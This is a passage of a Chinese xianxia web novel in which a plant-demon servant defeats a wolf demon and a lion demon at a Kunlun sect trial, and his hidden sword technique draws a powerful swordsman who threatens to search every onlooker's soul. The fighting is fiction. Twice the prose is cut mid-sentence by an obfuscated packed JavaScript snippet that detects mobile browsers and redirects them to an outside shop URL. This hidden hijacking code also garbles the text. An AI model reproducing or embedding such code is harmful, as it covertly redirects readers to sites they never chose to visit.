昆仑五座山峰共有42块试炼台,供弟子日常切磋使用。其中以龙砚峰试炼台最多,足有15块。眼下12块给内门弟子选拔,其余3块则分给妖。 两边挨得不远,但泾渭分明。门下侍不敢妄自去另一侧观看,而昆仑弟子 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“龙砚和紫霄向来不对付,少微真人作为李峰主的得意门生,门下侍绝不能给师门丢人。这下有的看了。” 狼妖何尝不知道其中道理。遇见旁人也便罢了,此战会遇到紫霄峰峰主新收的门下侍,在意料之外。且看对方,连动物妖都不是,还是龙砚峰最看不起的植物妖。 好在对方看上去修为薄弱,除了化形稳定,看不出什么优势。想来张峰主是看中此妖皮囊才收入麾下的吧,却不料这家伙不知天高地厚,竟敢来报名选拔。 这完全是为主子争脸面的天赐良机! 他必要赢! 思及至此,狼妖面容狠戾,呲牙咧嘴地笑起来,不再给对方挑选武器的时间,“要怪就怪你运气不济,碰到了狼爷我。” “下了黄泉,可别怪爷爷出手太狠。” 赵行舟不耐道,“李少微难道没教你,打架前别那么多废话么。” 话音一落,下面抽气声此起彼伏,“他怎敢直呼少微真人的姓名!” “娘喂,仗着自己是张峰主的门下侍,胆子也太大了吧。” 狼妖笑容绷不住了,他暴起扑过来,直掏少年心窝,怒喝,“小杂碎,我主子之名岂是你能叫的!” 赵行舟也不废话,趁近身时,左手由对方右臂下横穿,捋抓住对方右腕,遂以内劲猛击向狼妖肋部! 狼妖被打的趔趄几步,不可置信,再扑上来,却不料少年动作更快些。他迎面一拳打至狼妖心窝,狼妖不知这招深浅,正要避过,却见少年反手相扣,直击咽喉。狼妖瞳孔一缩,妖气暴涨,再退数尺。 瞬息不过几招,足以令狼妖感到惊愕。少年虽赤手空拳,但出招冷、脆、快,行为多变,直逼要害!他修为即使比对方高,但不懂变换,竟讨不到什么好! 即使是以体能著称的狼妖,若被捏住喉咙这种要害,一样活不了! 可,对方不过一个刚入宗门的小妖,何以有如此扎实的武艺?这不对劲! 不光狼妖觉得惊异,台下众妖一样觉得不可思议。想来想去,只有能感慨,不愧是紫霄峰峰主的门下侍。 作为峰主门下侍,有些不同凡响,也是正常的。否则峰主为何不来契它们呢? 赵行舟却不给对方惊愕的时间,跨步上前,低喝一声,“再来!”狼妖粗喘一声,被激起血性,挥舞着铁爪乱打一气。 对方修为高,调动起全身妖气,赵行舟难以破他的防。一时间僵持不下。 台下聚得妖越来越多,谈论声粗鄙,此起彼伏,吸引了两名紫虚峰外门弟子。他二人本是来龙砚为自家师兄应援,见旁边这样热闹,不由得看了几眼。 台上,狼妖双目赤红,脸上渗出毛发,由于妖气运用极致,竟无法维持常规的化形。狼妖右爪狠抓向对方,而对方不避,左脚一蹬狼妖右膝,顺势勾住狼妖脚后跟。趁狼妖失根倒地之际,那人膀根发力,一拳向下,重击狼妖鼻梁! 狼妖被打得一嚎,带出几声幼犬似的哀鸣。赵行舟站起身,甩动了一下右手,散去手指间的疼痛感,道,“再来。” 下面调笑一片。 “惨啦,居栩被打成小狗啦。” “这下就算对方不杀他,回龙砚也有他好果子吃的!” 妖向来慕强,兴致起来,可没有那么多道德感和荣誉感。 再看旁侧那两位外门弟子,对视一眼,皆目瞪口呆。台上小妖手脚动作一气呵成,不仔细看,还以为是哪家师兄闲来无事,在这里教妖做人。 同旁边妖问了,才知台上小妖竟是自家峰主新收的门下侍,这一惊又非同小可。自家峰主并不好斗,是以门下侍也不似龙砚这群妖好斗。这么多年一直被龙砚的大妖压着欺负。但妖之间的纷争,他们作为修真者,不屑插手。 只是台上这名新面孔出手实在漂亮,简直不像妖能练出来的身手。两名外门弟子犹豫了片刻,终究好奇心取得上风,决定再观望看看。 双方纠缠许久,狼妖被打得满脸是血,糊在狼毛上,很是狼狈,怎么都不肯认输。赵行舟也不算完好,虽占尽上风,身上还是挂了点彩。 重点这狼妖不愧出自以体修见长的龙砚峰,皮糙肉厚。赵行舟这么几十拳打下去,右手疼得发颤。还好而今是妖,皮骨都比当人时硬一些,否则现在打人都该打到骨裂了。 不多时,狼妖妖力力竭,眼瞧着要被对手清出场了,突然一阵劲风袭来,刀光暴涨,直抹狼妖的脖子。 此杀招来势凶猛,赵行舟步伐陡变,退后几步,奈何对方速度太快,避之不及,被血水泼了半身。 狼妖维持着愤慨不甘的表情,察觉到脖子上的凉意时,那张毛发生长的脸露些许迷茫。下一秒,他的视线天翻地覆,他先看到他对面的少年半身血水,正目光沉凝,看向他身后方向。 而后他又在翻转中看到了自己的身体,僵直在原地,没有头。 一只手从胸口掏出,微微用力,就捏爆了他的妖丹。一声沉如钟鸣的声音响起来,带着不齿,“丢人现眼的玩意儿。” 狼妖死不瞑目。 赵行舟擦了两把溅在身上的血,无济于事,遂皱眉看向对面陌生面孔。 来者中年面孔,金发如马鬃,身体比狼妖更壮硕,化形很好,没有丝毫本体外露的迹象。且妖力浓凝,显然和狼妖实力级别相去甚远。 此人一来,台下直接如沸油炸锅。 “居栩死了,居栩就这么死了?” “竟然是龙砚李峰主的坐骑之一,狮王金猊!他可是媲美金丹中期修为的大妖啊!他怎么来了?” “紫霄峰主门下侍和龙砚峰主门下侍竟然要打?这下有的看了!” 6. 第 6 章 紫霄峰主门下侍和龙砚峰主门下侍竟然要打起来了,还是在公开选拔赛上! 此消息不仅在妖中一传十,十传百,其闹声鼎沸,连在另一侧观战的昆仑弟子也陆续惊动了。 原因无他,紫霄和龙砚互相看不顺眼,已经成了昆仑千年的传统。但凡一方支持的,另一方势必反其道行之。 加之紫霄峰的门下侍们窝囊很久了,为不拂自家山头的颜面,很少会在明面上与龙砚应战。 算算近十几年来,如此大张旗鼓,还是头一遭。 有几名龙砚弟子见台上显然力量悬殊,秉承着左右是为自家师门争光的心态,打算去看看。 旁边紫霄峰弟子哪里坐得住,立刻有几名弟子也跟过去。他们想的很简单,只要龙砚要凑的热闹,他们紫霄从人数上也不能落下风。 结果一看台上情形,险些两眼一黑。 这是什么自取其辱的公开赛! 听说还是自家峰主新收的门下侍?脑子别是个傻的吧! 无头狼尸被从天而降的男人一脚踹下台,血水抹匀了半个试炼台。赵行舟目送对方走近,皱着眉问道,“你这样不由分说杀我对手,可合规?” “合规?哈哈哈!”金猊像是听到什么笑话,笑声如洪钟落地,不屑溢于言表,“你若怕了,跪地上磕三个响头,我便放你走,如何?” 此话有意折辱,实则台下众妖心里门清,就算此刻跪了,金猊也断不会放过这个刚刚损了龙砚面子的小妖,势必会杀他泄愤。 赵行舟看着血泊不答话。下面忽然传来一声怒吼,“不准跪!” 喊话人为紫霄峰一名内门弟子。他修为不低,已是筑基后期,几乎摸到了金丹的门槛。方才选拔赛中,他刚败于一名龙砚弟子的刀下,眼下身上还带着伤,一瘸一拐扒拉开挡在身前的各路妖怪,羞愤交加,唯恐台上小妖再给紫霄丢人,“不准跪,死也不准跪!” 如此一呵,引来旁边龙砚弟子几声窃笑。有人说风凉话,“妖都是贪生怕死之辈,你这样要求,不是为难人家吗?跪就跪了,为活命,不丢人。” 紫霄峰众弟子一听,气得个个脸涨得通红,立刻“不准跪”声此起彼伏。 而旁边原本观战的众妖们却熄了谈话的气氛,面面相觑。现在什么情况,怎么突然来了这么多平时对他们不屑一顾的道爷道姑。 难道他们也要看妖打比赛? 赵行舟对台下吵闹置若罔闻。他抬眼,将视线挪到对面中年男人的脸上。 金猊狮妖挥臂一震,震开上半身衣料,狰狞的肌肉上青筋尽显,体毛旺盛。他多年前受龙砚李峰主心法传承,经过多年训练,堪比龙砚内门体修弟子,和刚刚那只小狼有天壤之别。 折辱的话放出去,对面植物小妖没什么反应,反而是台下吵得快要打起来了。金猊杀意盎然,狞笑道,“怎么,害怕得连话都不会说了?给你一个机会,去挑一把趁手的武器,免得旁人说我以大欺小,杀得没什么意思。” 却见少年闻言,看都未看武器台一眼。右手落于身前,做了个赐教的手势,话却有些不耐,“所以你们龙砚是祖传的废话多吗?” 这是要直接开打的意思? 忙着吵架的紫霄峰弟子们一看,顿觉无望。最先开腔的那名内门弟子又冲着台上吼道,“你傻啊!你好歹拿把刀拼一拼啊!” 听那意思,他以为台上小妖是太过绝望,所以准备放两句狠话,就站着等死了。然而在场明眼人都知道,金丹期和筑基期的差距之大是压倒性的。就算拿了武器又怎样?只会挣扎得更狼狈。 和紫霄峰凝重低沉的气氛不同,龙砚那圈又笑开了,这次笑声更轻松些。有人说,“我赌紫霄小妖三十招内必死,你赌不赌?” “三十招太多,二十五招。” “多了多了,我赌十五招。” “开盘了开盘了!还有下注的没?” 吆喝声中,台上两个人影动了! 狮妖五指分张,掌心勾曲犹如爪状,进攻更如猛兽扑食!赵行舟接第一招的时候没有硬碰硬,而是以小臂接住惯过来力道,单臂外旋,以此卸力再尝试借力打力。 但由于修为悬殊过大,这个应对略显勉强。赵行舟被卸不掉的余力推得连退五步,右臂更因接下这一招震颤不止。 新来观赛的人见他正面接下一招竟毫发无伤,啧啧惊奇。金猊冷哼一声,运起八成的功力,五爪再度直取对手面门! 第二击比第一击来得凶狠得多,若被抓住头必是死局! 虽眼睛和意识跟得上,但身体修行受限,在越级挑战中行如趟泥,走错一招就万劫不复。赵行舟对此很清楚,以右臂格挡,同时扣右步,身形左转,左手插击其咽喉! 这招用得巧妙,可惜速度上不来,狮妖想躲开轻而易举。但躲就意味着要退,众目睽睽之下,他金丹对筑基,一步都不可退! 手指即将插入咽喉之际,金猊以攻为守,更快的速度直掏少年心窝。同时赵行舟也发现一个问题,他攻过去的左手遇阻停滞,竟破不了金猊咽喉处那团妖气。 金猊第三招攻击迫在眉睫,赵行舟躲避不及,以右手扣搂其腕,迅速用左手托紧对方手肘。 然见效不大,勉强避开了要害,他的右臂和右半身却生生扛下了大半力道。胸口一闷,骨缝处立刻发出令人牙酸的折裂声。 人退出去,硬撑住了没倒,只是脸色不好看。赵行舟喉咙满是腥气,嘴角溢出一丝血来。 植物妖不似动物妖和人,化人形后没有那么多血,但每一滴都是精血。既然见了血,说明这一下伤得很重。 金猊见血眼开,兴奋得面目狰狞,“小子,都死到临头了,你还不速速求我饶你一命?” 赵行舟左手拇指抹掉嘴边的血迹,放在眼前看了看。 再抬头时,始终半睁的双眼牵起一丝笑意,恰似倒春寒。 他想,老子上次单挑让人打出血,还是某位大乘修士拿半条命换来的。 如今真是今非昔比。 他止住右手的颤抖,食指中指伸直并拢,松散捏了一个手势。 台下出现质疑。 “他这动作,我怎么瞧着像剑指?” “只有做法前才需用得到剑指吧,他难道要施展什么法术?” “还有剑修,若手边没有趁手的武器,起势前也会捏剑指。”说这话的正是一位腰间挂着剑的女修士。她二十出头的年纪,容貌清丽,语气冷淡,眉间有一竖红痕,似胎记,又似天生的花钿。内衬黛青色,竟是观云峰内门弟子。 连主峰的内门弟子都来这凑热闹了?而且这女子怎么有些眼熟…… 兔妖一直在台下观战。他心里倒没有什么紧张的感觉,左右他和台上人没什么交情。只是越看越心惊,越看越不明白,这同屋小妖怎么还能站住了没倒下。 转瞬间,兔妖突然认出来了,最后说话这人正是掌门最小的弟子,文铮真人!她天赋惊人,专修剑道,不足百岁已迈入金丹高阶,堪称修真界新一辈翘楚! 她怎么来了? 兔妖认出此人,周围多半人也都认出了她。一时间弟子们的点评声都压了下去,只剩几个人小声嘀咕。 “修真界,确实只有少部分剑修才有越级挑战的实力。这小妖捏个手势,不会就把自己当剑修了吧?” “得了吧,剑道虽强,可剑修亦是修真路上最难走的一条路。我还从来没听说过有哪个妖能把此道修出名堂来。”这位弟子说罢,偷偷瞥了一眼文铮真人,又稍微提高一些音量,“又不是谁都有我们文铮师姐这种悟性!” 还文铮师姐?旁边紫虚弟子看了眼此人湖绿色衣领子,甩了几个白眼过去。明明是龙砚的弟子,跑到这来套近乎献殷勤,真不要脸! 沈文铮自不会理会周围人的话语。她在修真界中辈分虽小,但性格沉稳,还沾着自古剑修皆有的傲气习性。她会从金丹组选拔赛中脱颖而出是板上钉钉的事,自己心里没有多大感觉。 原本拿到入赛资格后,打算直接御剑回主峰,钻研师傅新传她的一套剑谱。会留在此地观看两只修为远不如她的妖打比赛,是意料之外。 事实上,她路过时被人声吸引,看向台上的第一眼,心里掠过的第一个念头与兔妖无异。就是,对面这小妖为什么还能站着不倒? 第二个念头是,若她以筑基中高阶实力,迎战金丹中阶妖物,能不能赢? 答案是肯定的,她会赢,只是会赢的很艰难。 且赢的前提是,她要有剑傍身。否则没希望。 这个答案成功的令沈文铮皱起眉头,留在了原地。 再看台上,赵行舟捏起剑指的同时,对手只以为他在装腔作势,笑容残忍且玩味。 金猊看对手的眼神,如在看一个将死的猎物。 一阵风过,金猊决定先发制人,却见对方几乎与他同步动了起来。 竟还有战意? 这意味着他压根没把对方打服! 金猊一怒之下,双拳暴起,猛地夹击对方头部,决心尽早结束这场无意义的杀戮。 却见对手不退反进,弓步近身,左掌上挑截敌两臂内侧。金猊冷笑一声,以摧枯拉朽之势折断少年左臂! 少年目光沉凝,未曾波动一下,好似被折断的压根不是他的左手! 趁金猊将全身力气用于他左臂之际,少年的右手双指已至,直捅金猊心窝! 风静止了,台上二人亦静止了。 目光向下错位一瞬,少年双指已没入他的胸口,再欲发力向内刺入时,金猊妖丹一颤,身体瞬间暴退出去! 鲜血随金猊倒退的动作,爆射开来! 左手无力垂落,瞬间被生长出来的根茎包裹。纤细的茎脉插入肌肉,深入骨髓,如外接了辅佐器具,为其供给移动的能量。不多时,赵行舟的左手微颤,逐渐握紧,又能动了。 植物妖是有这种好处。再生能力强得离谱,是其他物种都没法比的。 台下看客一时寂静无声,连刚刚吆喝着开盘的人也呆住了。 多数人不知道发生了什么,只看到两个人交了手,随即金猊受伤了。 还伤得不轻?! 沈文铮双眼睁大一瞬。刚刚那一幕她看得很清楚,冲刺之际,树妖将全身修为运转至极致,全部逼至双指那一点,难怪可以破开对方皮肉。 这一招可谓破釜沉舟!若动作有分毫差池,或但凡判断失误,他身体其他部分便与朽木无异,立刻就将身首异处! 他怎么敢用这么不要命的打法!是运气好?还是…… 金猊狼狈地护着自己胸口,双目震颤,极不可思议。他被伤了心脉,还险些被对手触到妖丹。 妖被伤心脉不致死。可妖丹不同,但凡裂个缝,都要耗他百年不止的修为来弥补! 龙砚弟子们脸色不太好看,大概是觉得如此再赢也不是很体面。反倒是紫霄众人,表情逐渐放松下来,不似一开始那样,个个便秘似的一言不发。 甚至有人出声安慰同门,“跨级比赛,打成这样很不错了。” “确实,换我来,我未必有人家这魄力。” “不愧是峰主的门下侍,打成这样都不服软,真有骨气。我们得和人家学学。” 金猊气得发疯。 他怎么能如此大意,让对面小妖投机伤了他!这场战斗的结果本就毋庸置疑,而他竟受了这样重的伤,眼下就算把这树妖碎尸万段,妖丹磨碎了炼药,也再夺不回他失去的颜面! 他被愤怒冲昏了头,动作不如开始那样有章法,更接近野兽。赵行舟与其周旋几招,听金猊暴喝,“小杂碎,有种别跑!” 言罢,赵行舟又是近身一指,横扫侧颈! 这次躲得快些,金猊一脚将对手踢出去。少年翻身落地,唇间再次溢出一丝血,只抬眼,冷冷一笑。 再看金猊,血流如注,双目赤红,伤势远不及致命,却显然接近失去理智的极限。 忽闻台下一人怒喊,“这位妖兄,你且放心得打!回头我找花绛峰要点灵土,给你载到紫霄风水最好的地方!你放心,我手下的植物,包活!百年后,重修妖丹,还是一条好汉!!!” 由于这人喊得太过声嘶力竭,赵行舟没忍住往台下方向看了一眼。一张由于激动而五官扭曲的男人的脸,发髻杂乱无章,略不修边幅。唯一特别的是他肩上扛着一柄花锄,看上去还真像一个花农。 …… 金猊突然咧开血盆大嘴,金色头发散开,生长出狮子浓密的鬃毛。他张嘴对准赵行舟方向,台下紫霄弟子立刻出声提醒道。 “不好,是金猊的狮子吼!此招凶险,金丹期下都会被损伤神魂,快躲!” “试炼台地方就这么大小!怎么躲!躲出去就算输了!” “你傻啊,我是让你们快躲!” 一听,台下连人带妖纷纷往外撤,一时间前排跑得干净,只露出三人没动,全是金丹期修士。 其中剑修竟占了两位?! 沈文铮是其一,另一负剑男子乃紫霄峰弟子,气质儒雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437496|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正专注看着台上。第三个则是那位扛着花锄,让大家快躲的男人。 赵行舟此时心情也不太爽快。 台下喊声他能听见。眼下论如何打架,他都无所谓,但若牵扯到神魂类的攻击,那着实打到他的软肋了。 未想好对策,第一波狮吼音浪已至。台下人说的不错,狮吼乃范围攻击,在试炼台这种无遮挡还受限场地中,占尽优势! 赵行舟被震得后退一步,脸色肉眼可见得变得难看,还未有所动作,第二波音浪又至! 啸声如狼虎成群,咆哮而至!尖啸声刺入耳中,震得神魂入沸水蒸滚,几乎离体而去! 极力忍受疼得几乎开裂的印堂处,赵行舟颤抖着手,心想,这样不行,要近身,速战速决。 众目睽睽之下,剑意不可泄,否则就和把身份昭告天下没区别。 但认输,又是不可能认输的。 于神魂割裂得疼痛中,他将灵气尽数灌入双脚,然后一步踏地,极速向前闪去! 右手迅速生长出一根树枝,在狮吼换气的间隙中,赵行舟剑光暴涨,以疾风之势,猛地插入金猊大张的口中! 却同时,金猊换气结束,第三道音浪以更猛烈之势轰荡开来! 长枝横向穿透金猊的头颅,脑干破裂。而赵行舟则贴面硬承受狮吼一击!轻咳一声,从内眦流下两道血痕。终是不支,晃了一下身形,单膝落地。 妖丹未破,金猊将死未死,如恶鬼般看着赵行舟。第四道狮吼,从喷血的喉咙中发出来,用尽他的全力,就在赵行舟的头顶! 那根插在狮妖头上的长枝,从赵行舟手中脱落时,便如星芒般散落,溶于乍冷的空气中。 血滴落于眼前,意识几乎被迎面一击震碎,全凭赵行舟意志力挺着没倒。 思绪昏沉,如浪起伏。 第四道狮吼呼之欲出,赵行舟脑中翻江倒海,瞳孔发麻,从鼻腔落下血丝! 很不妙。 速动。 理智告诉他,先避开是为上策。可下一秒,身体却几乎凭惯性抬起右手至眼前,掐剑诀,翻手一立! 与曾经经历过千万次的危难之际一样,有些习惯刻入神髓,乃致某一刻,身体竟比意识先行! 台下两名剑修同时一惊。 如没看错,台上人掐的,竟是引剑诀?! 修真剑道难练之处,在于门槛极高,可谓从金丹期开始,才算真正入门。 因为只有金丹期的修士,才可建立神识与飞剑之间的联系! 而引剑诀,顾名思义,就是将飞剑引至自己身旁。 传闻,剑道大能者,千里之内皆可引飞剑瞬息而至! 可一个实力不过筑基期的小妖,从哪里学的引剑诀,又要从何处引剑而来? 莫不是看错了。 台下两名剑修对视一眼,皆是神色奇怪。要知道这招他们也才刚学没几年! 一定是看错了。 另一侧。 张天茂闲来无事,在紫霄峰上溜达。见眼前弟子路过神色匆匆,好像有去处,便好奇询问,“你们这是忙着要去哪?” 两名弟子一看是张天茂问话,当下紧张答道,“回禀峰主,眼下正是拭武大会选拔阶段,我们正欲前往龙砚峰观战!” 张天茂一听,点头夸道,“甚好,快去吧,告诉你们师兄师姐,看见龙砚的家伙可别手软。” 见峰主今日心情不错,两名弟子也跟着开心起来,其中一人又道,“还是峰主厉害,新收的门下侍都这么争气!听说此妖力敌龙砚金猊大妖未落下风,打得甚是火热。我俩正准备去看呢!” “什么门下侍?”张天茂茫然想了想,突然脸色一变,“本座近十年来……好似就收过一位……嗯……不会是那个人吧?” “听说是只植物妖。”两名小徒弟没发现自家峰主的脸色变化,赞叹道,“若我日后也能御得这样优秀的门下侍,定好好栽培他。可惜了,这家伙实力低微,遇见金猊,多半难留活口。” 话音刚落,却见自家峰主把扇子一扔,火速向龙砚方向奔去。 临近龙砚试炼台,张天茂举目张望,一眼就看到了台上还谈不上熟悉的背影。 台上鲜血溅得四处皆是,可见其惨烈程度。狮妖伤口可怖,仍张着个大嘴。另一位则单膝落地,浑身是血,神魂受创。在张天茂快急得要冒火的目光中,他随手掐起引剑诀。 一百多年没做的动作,他做得很熟练。这一下,不光台下两位剑修惊了,张天茂也是一滞。 赵行舟在掐住剑诀的瞬间就回了神。他的剑早在百年前与肉身一同葬了,现今要他引剑,引个鬼的剑来? 更重点是,都打成这副德行了,还不亮招子,真打算让人捡回去重新长么? 至于身份,命重要,回头再想辙吧。 思及至此,赵行舟挥手便要散去引剑诀。澎湃剑意流于全身,还未外泄,他的眉间突然一热。 引剑诀的双指似被牵动,挪动了一瞬。 一条看不见的线自赵行舟神魂深处,直连向云端某处! 这种感觉赵行舟太过熟悉。他惊疑不定,看向手指被牵引的某处,一股微弱的引力自观云峰峰顶方向传来。 竟有所回应! 惊疑之际,狮子吼当头落下,振聋发聩! 该死…闭上嘴! 指尖泻出一丝微不可查却滚若骄阳的至纯剑气,赵行舟摇摇欲坠,眼皮都不动一下,抬右手直接削了对方头颅! 狮头大嘴歪张,滚落在地,音浪戛然而止。 七窍被最后一击吼得渗出血迹,淌个没完。赵行舟神魂如刀绞,单膝一软,终于脱力躺倒在地。 喘气不停,看着天,有一着没一着地想。 不会错,刚刚那一瞬间的引动,绝对是他的生前剑。 随他出生入死,自金丹一路斩上大乘,虽不是本命心剑,却早熟悉如他手臂。 剑名,惊春! 却没想到竟会被人不远万里捡回来,实在意外之极。 -- 几个呼吸前,昆仑之巅。 厚雪下一把沉寂了百年之久的长剑,似有引召,猛地颤动一瞬。 几乎是转瞬间,于道观闭关之人感知到了逐月台禁咒波动,缩地成寸,破雪而来! 他惊怔看着雪中长剑歪出一道剑痕,向着东南方挪动了一寸,又不再动了。 于赵行舟躺倒在地的同时,浩瀚无垠的神识裹挟剑意轰然落下,瞬间覆盖至昆仑整片山脉! 7. 第 7 章 赵行舟几日前,“有幸”被琦渊薛从任长老用神识探过一次。 硬要形容那种感觉,大概就像是有人不打招呼就来扒你的衣服。 妖是另一回事,物种有别,没什么人在乎妖的想法。所以薛从任探他的时候一点不犹豫。 但总的来说,很少有人会轻易把神识探查用在其他人身上。 所以,当浩然神识如山洪浪涛倾泻而下,强压住昆仑近百座大小山峰时,所有人脸色巨变! 赵行舟躺在地上,也是被激得一口血差点呛着。 接连两次被人扒衣服,正经人都难以接受。 众人则被这股极不讲理的神识压得东倒西歪,互相对视,眼里都看到了相同的震惊。 到底是什么无法无天之辈,竟敢二话不说,扒光整个昆仑山头?! 眼下掌门和峰主皆在门内,这人怎么敢的?简直疯了! 有人这样想的,就有人不自觉这样喊了出来。 赵行舟咽下血水,浅思后,对后面一句话不苟同。 且不论此人是谁,就其神识范围之广,实力至少也是渡劫期,说不得离飞升就欠临门一脚了。别人不说,光张天茂的实力就和人家差出一个北洲去。 若真打上门……紫霄峰峰主还是别赶着上去送死了吧。 如此想着,意念中的人突然从天而降。 比之赵行舟重伤下一脸菜色,张天茂的表情竟然也没好看多少。二人一站一躺对视上,赵行舟眼睛里流出一丝疑问。 大概意思就是,你还真就来了?你来干嘛? 对方却难得沉默,没去理他,甚至顾不得赵行舟伤势如何。他四周看了一眼,二话不说提起赵行舟就往肩上一扛。随后踏地而起,御扇奔向紫霄方向。 如此大动作令赵行舟视线天翻地覆,眉间一热,又从口中里榨出些血水来。 路上察觉肩上的人一直咳嗽,张天茂谨慎开口,“你感觉怎么样?” 血水落在张天茂衣服上,如红梅晕染开。赵行舟气若游丝拍了拍张天茂的后背,“……死不了。”遂示意对方赶紧放他下来。 人被放在扇子上,血却把两个人的衣服染得乱七八糟。赵行舟勉强提起一丝精神,见张天茂一脸紧张之色,不由得道,“出什么事了,咳,总不会真是你仇家?” 头顶神识覆盖并没收敛,愈发有大坝决堤之势。张天茂神色微妙地看了赵行舟一眼,用手势在嘴边比划两下,示意他先别说话。 随即余光中,忽有一拢天光破云,从昆仑之巅隐现。 先见观云之巅到龙砚峰腰出现一道细线,散发着流萤般的微光,若隐若现。而后,剑光暴涨如注,骤然切割开云层,轰散成千里滚浪! 是有人御剑而去,其速度之快,肉眼不可见! 即使离得很远,扇上二人还是被翻滚如潮的云浪掀了一个摇摆。赵行舟瞥向那个方向,想问些什么,却始终没能再开口。 不仅因为此刻他被颠簸得想吐,还因为神智已逼至不甚清醒的边缘。 而张天茂则心有余悸,妈的,还好他反应快! 赵行舟刚刚打架用得那缕剑气极细微,用在神识覆盖之前。张天茂观察过了,现场化神往上的只有他一人,想必不会被他人发现。 普通弟子看不出具体猫腻,只会对他是怎么突然解决掉对手的感觉奇怪罢了。是故问题也不大。 唯一麻烦的是那家伙。 当昆山之巅传来陈时易那道蛮横至极的神识时,张天茂就知道这事得露馅,虽然他本来也没觉得这事能瞒他多久。 眼下,就赵行舟此种情况,对一个两个熟人身份曝光事小,若就这么着被那个疯子逮住,必得逼得他在全昆仑人面前突然曝光,那事就大了。 要认亲,还是私底下来慢慢认吧! 这样想着,张天茂顶着滔天的压力,一路向西,直飞紫霄天师府邸。 他家后院有口灵泉泉眼,治疗内伤外伤皆有良效。他下扇时本想扶赵行舟一把,却不料对方身体无力,竟沿着扇子直接滑下去,落入泉水中,溅起好大的水花。 …… 张天茂一个猛子扎下水去,面容扭曲,开始捞人。 你小子,别在这种时候晕过去啊! -- 龙砚峰,听剑阁。 有人随微光落地,如凭空出现,带出一层浓雾似的云影。 下一秒,自他所来之处,身后气息震荡开来,云层崩塌,又似惊雷隐现! 来者逆着光和雪雾走来,身影高大挺拔,夹杂着昆仑之巅万古不化的霜和雪气,分外冷峻。 他挥手隐去剑光,云骤然散去了,露出雾后一双覆霜似的眉眼。 然而浩瀚的剑意似海涌入,裹挟着惊人的压迫感,逼得现场人人透不过气来! 自此人入场后,听剑阁前静得落针可闻。 先前那些抱怨声,此刻都像被人生扼住喉咙一样,消失得无影无踪。 谁都没想到,如此声势浩大的挑衅,竟来自平日里极少入世的凌绝峰峰主,南仲君,陈时易! 外界谣传昆仑南仲君性情孤僻,睚眦必报,总把他说得不太近人情。事实上,只有昆仑弟子知道,那些说此人性情如何如何的,多半也都是杜撰的。 实则他并非不易相处,而是压根不与人相处。 近百年拜入昆仑的弟子,有相当一部分人连南仲君的脸都没见过。 传闻中说,南仲君虽有天人之姿,却长了一张相当薄情寡义的脸。 当他看你的时候,目光下移,大约不会比看一双草履更有感情。 有人说昆仑之巅霜雪漫天,奇寒透骨,唯不及他沉寂的一双眼。 然而,在昆仑历代无数剑修中,他陈时易仍有自古至今,最出类拔萃的一道背影。 于是,现场几乎所有人都一眼辨认出了他的身份。 不仅因为他鱼尾灰内衬配玄色长袍尾,烫有凌绝峰独有云浪纹;更因为此人实力近乎只手翻天的剑修身份,天下再找不出第二人。 南仲君目光从人群中一晃而过,瞬息便将在场人尽收眼底,可没找到线索,令他目光在空中凝滞了一瞬。 声音一如落雪,他缓慢开口,字句混着砂石磨损般的轻微哑意,“方才,可有人用过引剑诀?” 开场白便是这句话,没头没尾,像在问所有人,又像是谁都没问。 在场大多不明就里,沈文铮和旁边紫霄峰剑修对视一眼,亦摸不准南仲君什么意思。 引剑诀是金丹以上剑修但凡出手都会用到的法诀,便是他们二人今日参加选拔比试,也都用了不下两三次。 可要说其中所见最奇怪的,方数刚刚那场妖物选拔。 刚才台上小妖险胜金猊,处处透着古怪,尤其是最后翻盘一招,出手极快,饶是文铮二人都没看明白怎么回事,金猊便已身首异处。 而且他临近结束时翻手立的那个诀,无论怎么看,都像是引剑诀。 只是无剑被引来,也不可能是罢了。 短暂安静过去,在场始终噤若寒蝉,无人回应。南仲君目色冷淡扫过一干人头,遂撂下一句话,“既然没人说话,我便一个一个搜神了。” 此话一出,令在场绝大部分人抬起头来,满脸错愕。 搜神不比神识探查。神识探查至多就算扒衣服,搜神,那可是把神魂扒开了给人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437497|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,连同脑子里所有的秘密和想法一起展现在搜神者面前,毫无尊严可言! 且搜神之人必须得是实力远高于被搜者才可使用。实力越高深者,神魂搜得越仔细。承受者若配合搜神也罢了,若竭力抵抗,轻则神魂不稳,重责神魂重创,修行根基都会动摇! 这是无论哪个修行者都绝不肯轻易接受的审讯法术! 正当大家惊愕之际,一阵青光乍现,转瞬来到了听剑阁前。李龙发身负长剑,还未完全落地,便怒不可遏地吼道,“陈时易,你竟毫无缘由在昆仑境内大放神识,如此无礼,你真当我们这些老家伙死了不成?!” 陈时易目光错顿,似有所闻,看向李龙发。 偏那道目光深如沉潭,看不出任何波动,饶是李龙发对视得久了,表情也难看起来。片刻后陈时易道,“龙砚既然是你的地方,便第一个先搜你。” 语气依旧无甚起伏,好似在谈天气不错。 李龙发听罢,几乎不能相信自己的耳朵,随即陷入暴虐的狂怒,双臂青筋暴起,背后剑跟着出鞘一寸! “竖子,尔敢!!” 剑拔弩张之际,又一道如昼白光飞降,海潮般的浩然道意随之翻涌而至。 虚微子白须浮空,道袍纷飞,伸出一只枯槁如柴的手截于半空中,沉声道,“南仲君,不可!” 